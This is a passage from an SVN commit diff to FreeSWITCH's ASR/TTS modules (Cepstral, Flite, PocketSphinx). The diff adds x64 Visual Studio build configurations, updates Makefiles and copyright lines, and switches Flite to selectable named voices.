+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;C:\Program Files\Cepstral\sdk\lib\winnt&quot;;&quot;C:\Program Files\Cepstral\sdk\lib\windows&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -144,6 +214,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;C:\Program Files\Cepstral\sdk\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="swift.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;C:\Program Files\Cepstral\sdk\lib\winnt&quot;;&quot;C:\Program Files\Cepstral\sdk\lib\windows&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/asr_tts/mod_cepstral/mod_cepstral.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_cepstral/mod_cepstral.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_cepstral/mod_cepstral.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_cepstral.c -- Cepstral Interface
@@ -135,7 +135,7 @@
 
 
 	/* Open a Swift Port through which to make TTS calls */
-	if (SWIFT_FAILED(cepstral->port = swift_port_open(engine, cepstral->params))) {
+	if (!(cepstral->port = swift_port_open(engine, cepstral->params))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open Swift Port.\n");
 		goto all_done;
 	}
@@ -256,7 +256,7 @@
 	swift_port_stop(cepstral->port, SWIFT_ASYNC_ANY, SWIFT_EVENT_NOW);
 }
 
-static switch_status_t cepstral_speech_read_tts(switch_speech_handle_t *sh, void *data, size_t *datalen, uint32_t *rate, switch_speech_flag_t *flags)
+static switch_status_t cepstral_speech_read_tts(switch_speech_handle_t *sh, void *data, size_t *datalen, switch_speech_flag_t *flags)
 {
 	cepstral_t *cepstral;
 	size_t desired = *datalen;
@@ -406,7 +406,7 @@
 	switch_speech_interface_t *speech_interface;
 
 	/* Open the Swift TTS Engine */
-	if (SWIFT_FAILED(engine = swift_engine_open(NULL))) {
+	if (!(engine = swift_engine_open(NULL))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open Swift Engine.");
 		return SWITCH_STATUS_GENERR;
 	}

Modified: freeswitch/branches/seven/src/mod/asr_tts/mod_flite/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_flite/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_flite/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,11 @@
 FLITE=flite-1.3.99
 FLITE_DIR=$(switch_srcdir)/libs/$(FLITE)
 FLITE_LIBDIR=$(FLITE_DIR)/build/libs
-FLITE_A=$(FLITE_LIBDIR)/libflite_cmu_us_kal.a $(FLITE_LIBDIR)/libflite_cmu_us_kal16.a $(FLITE_LIBDIR)/libflite_cmulex.a $(FLITE_LIBDIR)/libflite_usenglish.a $(FLITE_LIBDIR)/libflite.a
+FLITE_A=$(FLITE_LIBDIR)/libflite_cmu_us_awb.a \
+	$(FLITE_LIBDIR)/libflite_cmu_us_kal.a \
+	$(FLITE_LIBDIR)/libflite_cmu_us_rms.a \
+	$(FLITE_LIBDIR)/libflite_cmu_us_slt.a \
+	$(FLITE_LIBDIR)/libflite_cmulex.a $(FLITE_LIBDIR)/libflite_usenglish.a $(FLITE_LIBDIR)/libflite.a -lm
 
 LOCAL_CFLAGS=-I$(switch_srcdir)/libs/$(FLITE)/include
 LOCAL_LIBADD=$(FLITE_A)
@@ -10,10 +14,10 @@
 include $(BASE)/build/modmake.rules
 
 $(FLITE_DIR):
-	$(GETLIB) $(FLITE).tar.gz
+	$(GETLIB) $(FLITE)-latest.tar.gz
 
 $(FLITE_DIR)/Makefile: $(FLITE_DIR)
-	cd $(FLITE_DIR) && CFLAGS="-fPIC" ./configure
+	cd $(FLITE_DIR) && CFLAGS="`echo $(CFLAGS) | sed -e 's:-std=c99::'`" ./configure --without-audio --with-pic --disable-shared
 	$(TOUCH_TARGET)
 
 $(FLITE_A): $(FLITE_DIR) $(FLITE_DIR)/Makefile

Modified: freeswitch/branches/seven/src/mod/asr_tts/mod_flite/mod_flite.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_flite/mod_flite.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_flite/mod_flite.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -54,9 +57,8 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="flite.lib"
 				LinkIncremental="2"
-				AdditionalLibraryDirectories="$(SolutionDir)Debug"
+				AdditionalLibraryDirectories=""
 				RandomizedBaseAddress="1"
 				DataExecutionPrevention="0"
 			/>
@@ -83,6 +85,74 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="../../../../libs/flite-1.3.99/include"
+				PreprocessorDefinitions="APT_LIB_EXPORT"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -148,6 +218,74 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="../../../../libs/flite-1.3.99/include"
+				PreprocessorDefinitions="APT_LIB_EXPORT"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies=""
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug Static|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
@@ -212,6 +350,74 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug Static|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="../../../../libs/flite-1.3.99/include"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies=""
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release Static|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -275,6 +481,74 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release Static|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="../../../../libs/flite-1.3.99/include"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies=""
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/asr_tts/mod_flite/mod_flite.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_flite/mod_flite.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_flite/mod_flite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -32,19 +32,27 @@
 #include <switch.h>
 #include <flite.h>
 
+cst_voice *register_cmu_us_awb(void);
+void unregister_cmu_us_awb(cst_voice * v);
+
 cst_voice *register_cmu_us_kal(void);
 void unregister_cmu_us_kal(cst_voice * v);
 
-cst_voice *register_cmu_us_kal16(void);
-void unregister_cmu_us_kal16(cst_voice * v);
+cst_voice *register_cmu_us_rms(void);
+void unregister_cmu_us_rms(cst_voice * v);
 
+cst_voice *register_cmu_us_slt(void);
+void unregister_cmu_us_slt(cst_voice * v);
+
 SWITCH_MODULE_LOAD_FUNCTION(mod_flite_load);
-SWITCH_MODULE_DEFINITION(mod_flite, mod_flite_load, NULL, NULL);
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_flite_shutdown);
+SWITCH_MODULE_DEFINITION(mod_flite, mod_flite_load, mod_flite_shutdown, NULL);
 
 static struct {
-	cst_voice *v8;
-	cst_voice *v16;
+	cst_voice *awb;
+	cst_voice *kal;
+	cst_voice *rms;
+	cst_voice *slt;
 } globals;
 
 struct flite_data {
@@ -52,6 +60,7 @@
 	cst_wave *w;
 	switch_buffer_t *audio_buffer;
 };
+
 typedef struct flite_data flite_t;
 
 #define free_wave(w) if (w) {delete_wave(w) ; w = NULL; }
@@ -60,13 +69,19 @@
 static switch_status_t flite_speech_open(switch_speech_handle_t *sh, const char *voice_name, int rate, switch_speech_flag_t *flags)
 {
 	flite_t *flite = switch_core_alloc(sh->memory_pool, sizeof(*flite));
+
+	sh->native_rate = 16000;
 	
-	if (rate == 8000) {
-		flite->v = globals.v8;
-	} else if (rate == 16000) {
-		flite->v = globals.v16;
+	if (!strcasecmp(voice_name, "awb")) {
+		flite->v = globals.awb;
+	} else if (!strcasecmp(voice_name, "kal")) {
+		flite->v = globals.kal;
+	} else if (!strcasecmp(voice_name, "rms")) {
+		flite->v = globals.rms;
+	} else if (!strcasecmp(voice_name, "slt")) {
+		flite->v = globals.slt;
 	} else {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "invalid rate %d. Only 8000 and 16000 are supported.\n", rate);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Valid voice names are awb, kal, rms or slt.\n");
 	}
 
 	if (flite->v) {
@@ -109,7 +124,7 @@
 	free_wave(flite->w);
 }
 
-static switch_status_t flite_speech_read_tts(switch_speech_handle_t *sh, void *data, size_t *datalen, uint32_t *rate, switch_speech_flag_t *flags)
+static switch_status_t flite_speech_read_tts(switch_speech_handle_t *sh, void *data, size_t *datalen, switch_speech_flag_t *flags)
 {
 	size_t bytes_read;
 	flite_t *flite = (flite_t *) sh->private_info;
@@ -160,8 +175,10 @@
 	switch_speech_interface_t *speech_interface;
 
 	flite_init();
-	globals.v8 = register_cmu_us_kal();
-	globals.v16 = register_cmu_us_kal16();
+	globals.awb = register_cmu_us_awb();
+	globals.kal = register_cmu_us_kal();
+	globals.rms = register_cmu_us_rms();
+	globals.slt = register_cmu_us_slt();
 	
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
@@ -182,13 +199,14 @@
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_flite_shutdown)
 {
-	unregister_cmu_us_kal(globals.v8);
-	unregister_cmu_us_kal(globals.v16);
+	unregister_cmu_us_awb(globals.awb);
+	unregister_cmu_us_kal(globals.kal);
+	unregister_cmu_us_rms(globals.rms);
+	unregister_cmu_us_slt(globals.slt);
 
 	return SWITCH_STATUS_UNLOAD;
 }
 
-
 /* For Emacs:
  * Local Variables:
  * mode:c

Property changes: freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx


Name: svn:ignore
   - .libs
mod_pocketsphinx.so
Debug
*.user
Release
   + .libs
mod_pocketsphinx.so
Debug
*.user
Release
Win32
x64

Modified: freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,7 +15,7 @@
 include $(BASE)/build/modmake.rules
 
 $(SPHINXBASE_DIR):
-	$(GETLIB) $(SPHINXBASE).tar.gz
+	$(GETLIB) $(SPHINXBASE)-latest.tar.gz
 
 $(SPHINXBASE_DIR)/buildstamp: $(SPHINXBASE_DIR)
 	test -f $(SPHINXBASE_DIR)/Makefile || (cd $(SPHINXBASE_DIR) && ./configure --with-pic --without-python --disable-shared CFLAGS=)
@@ -26,7 +26,7 @@
 	$(TOUCH_TARGET)
 
 $(POCKETSPHINX_DIR):
-	$(GETLIB) $(POCKETSPHINX).tar.gz
+	$(GETLIB) $(POCKETSPHINX)-latest.tar.gz
 
 $(POCKETSPHINX_DIR)/Makefile: $(POCKETSPHINX_DIR)
 	cd $(POCKETSPHINX_DIR) && ./configure --with-pic --without-python --disable-shared --with-sphinxbase=$(SPHINXBASE_DIR) CFLAGS=
@@ -45,18 +45,13 @@
 $(DESTDIR)$(PREFIX)/grammar/model/communicator:
 	$(GETLIB) $(SPHINXMODEL).tar.gz
 	mkdir -p $(DESTDIR)$(PREFIX)/grammar/model/communicator
-	mv $(BASE)/libs/Communicator_semi_40.cd_semi_6000/* $(DESTDIR)$(PREFIX)/grammar/model/communicator
+	cp -rp $(BASE)/libs/Communicator_semi_40.cd_semi_6000/* $(DESTDIR)$(PREFIX)/grammar/model/communicator
 
 $(DESTDIR)$(PREFIX)/grammar/model/wsj1:
 	mkdir -p $(DESTDIR)$(PREFIX)/grammar/model/wsj1
-	mv $(POCKETSPHINX_DIR)/model/hmm/wsj1/* $(DESTDIR)$(PREFIX)/grammar/model/wsj1
+	cp -rp $(POCKETSPHINX_DIR)/model/hmm/wsj1/* $(DESTDIR)$(PREFIX)/grammar/model/wsj1
 
-grammar_maker:
-	@cp -f $(BASE)/scripts/mklm $(DESTDIR)$(PREFIX)/bin/mklm
-	@cp -f $(BASE)/scripts/quick_lm.pl $(DESTDIR)$(PREFIX)/bin/quick_lm.pl
-	@chmod 755 $(DESTDIR)$(PREFIX)/bin/mklm
-	@chmod 755 $(DESTDIR)$(PREFIX)/bin/quick_lm.pl
-	@cp -f $(BASE)/scripts/Makefile.gram $(DESTDIR)$(PREFIX)/grammar/Makefile
-	@cp -f $(POCKETSPHINX_DIR)/model/lm/cmudict.0.6d $(DESTDIR)$(PREFIX)/conf/cmudict.0.6d
+dictionary:
+	@cp -f $(POCKETSPHINX_DIR)/model/lm/cmudict.0.6d $(DESTDIR)$(PREFIX)/grammar/default.dic
 
-local_install: $(DESTDIR)$(PREFIX)/grammar/model $(DESTDIR)$(PREFIX)/grammar/model/communicator $(DESTDIR)$(PREFIX)/grammar/model/wsj1 grammar_maker
+local_install: $(DESTDIR)$(PREFIX)/grammar/model $(DESTDIR)$(PREFIX)/grammar/model/communicator $(DESTDIR)$(PREFIX)/grammar/model/wsj1 dictionary

Modified: freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,14 +12,15 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
 	<Configurations>
 		<Configuration
 			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
 			CharacterSet="1"
@@ -92,9 +93,82 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;..\..\..\..\libs\sphinxbase-0.4.99\include&quot;;&quot;..\..\..\..\libs\pocketsphinx-0.5.99\include&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_POCKETSPHINX_EXPORTS"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories="&quot;$(SolutionDir)$(ConfigurationName)&quot;"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="if not exist &quot;$(OutDir)\grammar\model\communicator&quot; xcopy &quot;$(SolutionDir)libs\Communicator_semi_40.cd_semi_6000\*.*&quot; &quot;$(OutDir)\grammar\model\communicator&quot; /C /D /Y /S /I"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
 			CharacterSet="1"
@@ -139,7 +213,6 @@
 			<Tool
 				Name="VCLinkerTool"
 				UseLibraryDependencyInputs="false"
-				AdditionalDependencies="sphinxbase.lib pocketsphinx.lib"
 				LinkIncremental="1"
 				AdditionalLibraryDirectories="&quot;$(SolutionDir)$(ConfigurationName)&quot;"
 				GenerateDebugInformation="true"
@@ -171,6 +244,85 @@
 				CommandLine="if not exist &quot;$(OutDir)\grammar\model\communicator&quot; xcopy &quot;$(SolutionDir)libs\Communicator_semi_40.cd_semi_6000\*.*&quot; &quot;$(OutDir)\grammar\model\communicator&quot; /C /D /Y /S /I&#x0D;&#x0A;"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				AdditionalIncludeDirectories="&quot;..\..\..\..\libs\sphinxbase-0.4.99\include&quot;;&quot;..\..\..\..\libs\pocketsphinx-0.5.99\include&quot;"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;MOD_POCKETSPHINX_EXPORTS"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="2"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				UseLibraryDependencyInputs="false"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories="&quot;$(SolutionDir)$(ConfigurationName)&quot;"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="if not exist &quot;$(OutDir)\grammar\model\communicator&quot; xcopy &quot;$(SolutionDir)libs\Communicator_semi_40.cd_semi_6000\*.*&quot; &quot;$(OutDir)\grammar\model\communicator&quot; /C /D /Y /S /I&#x0D;&#x0A;"
+			/>
+		</Configuration>
